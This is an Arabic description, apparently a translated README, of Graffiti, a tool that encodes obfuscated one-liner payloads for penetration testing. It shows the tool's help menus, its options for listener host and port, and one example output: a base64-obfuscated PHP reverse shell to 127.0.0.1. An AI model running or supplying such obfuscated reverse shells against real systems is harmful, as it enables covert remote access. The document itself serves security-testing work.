
أداة لتوليد أوامر سطر واحد مبهمة للمساعدة في اختبار الاختراق

Graffiti هي أداة لتوليد أوامر سطر واحد معتمة (obfuscated oneliners) للمساعدة في حالات اختبار الاختراق. تقبل Graffiti اللغات التالية للترميز:
كما تقبل Graffiti لغة غير موجودة حاليًا في القائمة وتخزين الأمر السطري في قاعدة بيانات.
تأتي Graffiti مع قاعدة بيانات كاملة تقوم بإدخال كل حمولة مشفرة فيها، وذلك لتمكين المستخدمين النهائيين من عرض الحمولات المنشأة مسبقًا للاستخدام المستقبلي. يمكن ترميز الحمولات باستخدام التقنيات التالية:
تشمل بعض ميزات Graffiti ما يلي:
تأتي Graffiti مع طرفية مدمجة، عند عدم تمرير أي وسائط للبرنامج يتم الدخول إلى الطرفية. تحتوي الطرفية على سجل، وإمكانية تشغيل الأوامر الخارجية، وأوامر داخلية خاصة بها. للحصول على المساعدة، ما عليك سوى كتابة help أو ?:
________ _____ _____.__ __ .__
/ _____/___________ _/ ____\/ ____\__|/ |_|__|
/ \ __\_ __ \__ \\ __\\ __\| \ __\ |
\ \_\ \ | \// __ \| | | | | || | | |
\______ /__| (____ /__| |__| |__||__| |__|
\/ \/
v(0.1)
لم يتم تمرير أي وسيطات، سيتم الدخول إلى الطرفية. اكتب `help/?` للحصول على المساعدة، جميع الأوامر الموجودة داخل `/bin` متاحة في الطرفية.
root@graffiti:~/graffiti# ?
الأمر الوصف
--------- --------------
help/? إظهار هذه المساعدة
external قائمة الأوامر الخارجية المتاحة
cached عرض جميع الحمولات الموجودة بالفعل في قاعدة البيانات
list/show قائمة بجميع الحمولات المتاحة
search <phrase> البحث عن حمولة محددة
use <payload> <coder> استخدام هذه الحمولة وترميزها باستخدام مشفر محدد
info <payload> الحصول على معلومات حول حمولة محددة
check التحقق من وجود تحديثات
history عرض سجل الأوامر
exit/quit الخروج من الطرفية والجلسة الحالية
encode <script-type> <coder> ترميز حمولة معينة
root@graffiti:~/graffiti# help
الأمر الوصف
--------- --------------
help/? إظهار هذه المساعدة
external قائمة الأوامر الخارجية المتاحة
cached عرض جميع الحمولات الموجودة بالفعل في قاعدة البيانات
list/show قائمة بجميع الحمولات المتاحة
search <phrase> البحث عن حمولة محددة
use <payload> <coder> استخدام هذه الحمولة وترميزها باستخدام مشفر محدد
info <payload> الحصول على معلومات حول حمولة محددة
check التحقق من وجود تحديثات
history عرض سجل الأوامر
exit/quit الخروج من الطرفية والجلسة الحالية
encode <script-type> <coder> ترميز حمولة معينة
تأتي Graffiti أيضًا مع وسيطات سطر الأوامر عندما تحتاج إلى ترميز حمولة بسرعة:
usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD]
[--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS]
[-l]
[-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]]
[-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC]
[-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]]
optional arguments:
-h, --help show this help message and exit
-c CODEC, --codec CODEC
specify an encoding technique (*default=None)
-p PAYLOAD, --payload PAYLOAD
pass the path to a payload to use (*default=None)
--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS
create a payload file and store it inside of
./etc/payloads (*default=None)
-l, --list list all available payloads by path (*default=False)
-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]
pass your own personal payload to use for the encoding
(*default=None)
-lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS
pass a listening address to use for the payload (if
needed) (*default=None)
-lP LISTENING-PORT, --lport LISTENING-PORT
pass a listening port to use for the payload (if
needed) (*default=None)
-u URL, --url URL pass a URL if needed by your payload (*default=None)
-vC, --view-cached view the cached data already present inside of the
database
-H, --no-history do not store the command history (*default=True)
-W, --wipe wipe the database and the history (*default=False)
--memory initialize the database into memory instead of a .db
file (*default=False)
-mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...]
pass more external commands, this will allow them to
be accessed inside of the terminal commands must be in
your PATH (*default=None)
ترميز حمولة بسيط مثل هذا:
root@graffiti:~/graffiti# python graffiti.py -c base64 -p /linux/php/socket_reverse.json -lH 127.0.0.1 -lP 9065
Encoded Payload:
--------------------------------------------------
php -r 'exec(base64_decode("JHNvY2s9ZnNvY2tvcGVuKCIxMjcuMC4wLjEiLDkwNjUpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7"));'
--------------------------------------------------
يمكن العثور على عرض توضيحي لـ Graffiti هنا:
على أي نظام Linux أو Mac أو Windows، يجب أن تعمل Graffiti فورًا دون الحاجة إلى تثبيت أي حزم خارجية. إذا كنت ترغب في تثبيت Graffiti كملف تنفيذي على نظامك (يجب أن تعمل إما على Linux أو Mac لكي تنجح العملية)، كل ما عليك فعله هو التالي:
./install.sh
سيقوم هذا بتثبيت Graffiti على نظامك ويتيح لك تشغيلها من أي مكان.
إذا صادفت خطأ أو مشكلة، يرجى إنشاء مشكلة مع التفاصيل هنا وشكرًا مقدمًا!